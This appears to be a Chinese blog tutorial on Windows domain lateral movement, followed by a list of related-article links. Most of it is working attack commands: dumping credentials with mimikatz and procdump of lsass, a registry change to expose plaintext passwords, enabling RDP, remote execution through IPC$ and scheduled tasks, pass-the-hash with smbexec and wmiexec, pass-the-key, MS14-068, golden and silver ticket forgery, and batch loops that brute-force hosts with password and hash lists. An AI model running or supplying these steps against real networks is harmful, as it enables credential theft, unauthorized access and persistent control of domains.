文章目录

  • 1.权限提升
  • 2.渗透姿势
    • 爆hash,爆aes key
      • 爆hash
      • 爆aes key
  • 3.远程登录
    • 注册表修改
    • 连接命令
  • 4.连接操作
  • PTH攻击(利用明文或hash连接)
    • IPC(明文连接主机)
    • WMI(利用明文连接)
    • SMB(利用明文或hash连接)
    • RDP(利用明文或hash连接)
    • WMI工具(利用明文或hash连接)
  • PTK攻击(aes key 进行连接)
  • PTT攻击(权限维持)
    • Golden ticket(黄金票据)
    • silver ticket(白银票据)
  • 5.bat批量连接测试

1.权限提升

  • 一开始一定要提到administrator或以上,才好继续内网渗透。

2.渗透姿势

爆hash,爆aes key

爆hash

域用户主机上传mimikatz

  • mimikatz.exe上执行: privilege::debug sekurlsa::logonpasswords 则可报出hash
  • 当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
  • reg add
    HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
    UseLogonCredential /t REG_DWORD /d 1 /f

procdump

  • procdump -accepteula -ma lsass.exe lsass.dmp mimikatz.exe上执行:
  • sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords

爆aes key

3.远程登录

注册表修改

开启的3389方法:
1.通用开3389(优化后):

  • wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call
    SetAllowTSConnections 1

2.For Win2003:

  • REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v
    fDenyTSConnections /t REG_DWORD /d 00000000 /f

3.For Win2008:

  • REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v
    fDenyTSConnections /t REG_DWORD /d 00000000 /f

4.For Every:
cmd开3389 win08 win03 win7 win2012 winxp
win08,三条命令即可:

  • wmic /namespace:\root\cimv2 erminalservices path
    win32_terminalservicesetting where (__CLASS != “”) call
    setallowtsconnections 1

  • wmic /namespace:\root\cimv2 erminalservices path
    win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp’) call
    setuserauthenticationrequired 1

  • reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
    fSingleSessionPerUser /t REG_DWORD /d 0 /f

win2012通用;win7前两条即可。权限需要run as administrator。

连接命令

  • windows: mstsc
  • linux: rdesktop 192.168.3.21:3389

4.连接操作

PTH攻击(利用明文或hash连接)

IPC(明文连接主机)

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。

获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文,hash当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

一、利用流程

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接

net use \server\ipc$“password” /user:username # 工作组
net use \server\ipc$“password” /user:domain\username #域内

dir \xx.xx.xx.xx\C$\ # 查看文件列表
copy \xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \xx.xx.xx.xx\C$\1.bat # 复制文件
net use \xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享

建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

二、[at] & [schtasks]
#at 小于等于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
at \192.168.1.5 21:52 c:\Inetpub\add.bat # 添加计划任务
at \192.168.1.5 # 查看任务列表

#schtasks 大于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
schtasks /create /s 192.168.1.5 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F #创建adduser计划任务
schtasks /run /s 192.168.1.5 /tn adduser /i #运行adduser计划任务
schtasks /delete /s 192.168.1.5 /tn adduser /f # 删除计划任务

WMI(利用明文连接)

自带WMIC 明文传递 无回显

  • wmic /node:192.168.3.21 /user:administrator /password:Admin12345
    process call create “cmd.exe /c ipconfig >C:\1.txt”

SMB(利用明文或hash连接)

  • smbexec ./admin:password@192.168.3.21
  • smbexec domain/admin:password@192.168.3.21
  • smbexec -hashes :HASH ./admin@192.168.3.21
  • smbbexec -hashes :HASH domain/admin@192.168.3.21
  • smbexec -hashes :ccef208c6485269c20db2cad21734fe7
    ./administrator@192.168.3.21

RDP(利用明文或hash连接)

  • 除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。

RDP明文密码链接

  • windows: mstsc
  • linux: rdesktop 192.168.3.21:3389

RDP密文HASH链接

  • windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server
    2012 R2中默认开启,同时如果Win 7 和Windows Server 2008
    R2安装了2871997、2973351补丁也支持;开启命令:
  • REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v
    DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启后运行:

  • mstsc.exe /restrictedadmin
  • mimikatz.exe
  • privilege::debug
  • sekurlsa::pth /user:administrator /domain:remoteserver
    /ntlm:d25ecd13fddbb542d2e16da4f9e0333d “/run:mstsc.exe
    /restrictedadmin”

WMI工具(利用明文或hash连接)

  • wmiexec ./administrator:Admin12345@192.168.3.21 “whoami”
  • wmiexec -hashes :HASH ./admin@192.168.3.21 “whoami”
  • wmiexec -hashes :ccef208c6485269c20db2cad21734fe7
    ./administrator@192.168.3.21 “whoami”

PTK攻击(aes key 进行连接)

PTK(pass the key) #利用的aeskey进行的渗透测试

#获取用户aes key
mimikatz “privilege::debug” “sekurlsa::ekeys”

#注入aes key
mimikatz “privilege::debug” “sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288”

#目标系统:安装kb2871997补丁

PTT攻击(权限维持)

Kerberos协议在域中,简要介绍一下

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting
    Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

  • ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:

MS14-068,Golden ticket(黄金票据),SILVER ticket(白银票据)

#MS14-068

  • #查看当前sid whoami/user

  • mimikatz # kerberos::purge

  • //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

  • mimikatz # kerberos::list

  • //查看当前机器凭证

  • mimikatz # kerberos::ptc

  • 票据文件 //将票据注入到内存中

#利用ms14-068生成TGT数据

  • ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
  • MS14-068.exe -u mary@god.org -s
    S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p
    admin!@#45

#票据注入

  • mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” exit

#查看凭证列表 klist
#利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

#利用kekeo生成TGT数据
#生成票据

  • kekeo “tgt::ask /user:mary /domain:god.org
    /ntlm:518b98ad4178a53695dc997aa02d455c”

#导入票据

  • kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

#查看凭证 klist

#利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

权限维持-Golden ticket

Golden ticket(黄金票据)

  • Golden
    ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

#伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(有域控制器权限)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

#域控DC导出hash krbtgt

  • privilege::debug

  • lsadump::lsa /patch

  • b097d7ed97495408e1537f706c357fc5

#生成tgt凭证

  • mimikatz # kerberos::golden /user:administrator /domain::god.org
    /sid:S-1-5-21-1218902331-2157346161-1782232778-1124
    /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket

#注入凭证

  • mimikatz # kerberos::ptt ticket.kirbi

#查看凭证 klist

##利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

权限维持-silver ticket

silver ticket(白银票据)

  • silver ticket和golden
    ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。不像是Golden
    ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden
    ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密)
    dump下来,然后在普通域用户机器进行伪造权限,进行ptt.

#域控导出hash

  • privilege::debug
  • sekurlsa::logonpasswords

#攻击3.21下的cifs(文件共享服务)

  • kerberos::golden /domain:god.org
    /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21
    /rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt

PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试

5.bat批量连接测试

#利用hash验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i whoami

#指定主机进行用户hash列表(hashes.txt)爆破
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami

#指定主机进行明文密码列表(passwords.txt)爆破

FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami

#利用明文密码验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami

内网渗透-域渗透简单思路相关推荐

  1. 内网安全-域横向批量atschtasksimpacket

    目录 0x01 横向渗透明文传递 1.1 渗透流程 1.2 IPC技术 1.3  [at] & [schtasks] 1.3.1 假设已经找到DC的用户名密码(具体后面再详细讲),由于域控DC ...

  2. 内网穿透原理和实现思路介绍

    内网穿透技术,简单理解就是将内网的服务映射到公网中,这样可以随时随地访问. 那什么是内网?什么是公网?先从这个基本概念来简单介绍吧 1. 公网.内网和外网 首先声明,公网.内网和外网这几个概念,不是专 ...

  3. 第65天-内网安全-域环境工作组局域网探针方案

    思维导图 知识点 主要都是一些概念的理解 DMZ: 英文全名"Demilitarized Zone",中文含义是"隔离区",在安全领域的具体含义是"内 ...

  4. p66 内网安全-域横向批量atschtasksimpacket

    数据来源 本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关. 基本概念 DMZ区域:称为"隔离区",也称' ...

  5. 内网安全-域横向PTHPTKPTT哈希票据传递

    PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试 PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试 PTK(pass the ke ...

  6. 内网安全 - 域横向 PTHPTKPTT

    域横向 PTH&PTK&PTT 基础知识 域横向移动PTH传递-Mimikatz 域横向移动PTK传递-mimikatz 域横向移动 PTT 传递-MS14068(主要)&ke ...

  7. 内网安全-域横向smbwmi明文或hash传递

    知识点1: Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码 Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码 针对以上情况 ...

  8. 第69天-内网安全-域横向 CobaltStrikeSPNRDP

    思维导图 知识点 演示案例 域横向移动RDP传递-Mimikatz 除了之前讲到的IPC,WMI,SMB等协议的连接外,获取到的明文密码或HASH密文也可以通过RDP协议进行连接操作. RDP 远程显 ...

  9. p69 内网安全-域横向 CobaltStrikeSPNRDP

    数据来源 SPN(Secret Private Network缩写)_百度百科 (baidu.com) 演示案例 域横向移动RDP传递-Mimikatz 域横向移动SPN服务-探针,请求,导出,破解, ...

最新文章

  1. 华为p30如何把计算机放进通知栏,华为p30短信来了在通知栏怎么不显示
  2. 跌宕中,特斯拉拿下上海工厂,给蔚来们留下不到两年窗口期
  3. * 图形例子,函数实现体会地址传递
  4. 图像处理技术之分辨率与压缩
  5. 使用 ale.js 制作一个小而美的表格编辑器(1)
  6. 连接oracle出现ORA-12514错误
  7. 移动端判断触摸的方向
  8. Deep Learning(深度学习)各种资料网址
  9. 使用Subline Text对比查找两个文档的不同
  10. 四级语法2——主谓一致+时态语态
  11. 完美tbody滚动效果
  12. android设置状态栏字体颜色vivo,状态栏通知图标颜色统一_vivo Xplay3S_手机Android频道-中关村在线...
  13. Android保存图片和视频到相册
  14. linux打开python3_号外:RIDE 可以在 linux+python3 的环境中运行啦!
  15. 前端开发调试之代理配置
  16. 消除oracle 中 job 的时间误差?
  17. 微服务架构,springcloud核心组件和实战,docker容器
  18. 请等待您的伙伴确认该请求_您想成为产品负责人吗?您最好知道等待什么
  19. springboot实现高并发红包系统(java 全网最全包括语音口令 文字口令 普通 拼手气)
  20. 公历转农历、生肖、干支纪年、节气算法研究和C程序实现

热门文章

  1. Oracle归档目录 和 DB_RECOVERY_FILE_DEST
  2. oracle comment on的用法
  3. oracle 10046详解
  4. SQLServer之创建显式事务
  5. web端 复合控件 响应回发
  6. [转]在Winform(C#)中使用Flash控件
  7. Java黑皮书课后题第10章:*10.16(被2或3整除)找出所有被2或3整除的有50个十进制位数的前10个数字
  8. Java黑皮书课后题第8章:*8.24(检验数独的解决方案)程序清单8-4通过检测棋盘上的每个数字是否是有效的,从而检验一个解决方案是否是有效的。重写该程序,通过检验是否每行、每列、每个小方盒中具有
  9. Java黑皮书课后题第8章:*8.2(求矩阵对角线元素的和)使用下面的方法头编写一个方法,求n*n的double类型矩阵中主对角线上所有数字的和。编写一个程序,读取一个4*4的矩阵,显示主对角线和
  10. Android显示广播写法,【Android】广播的写法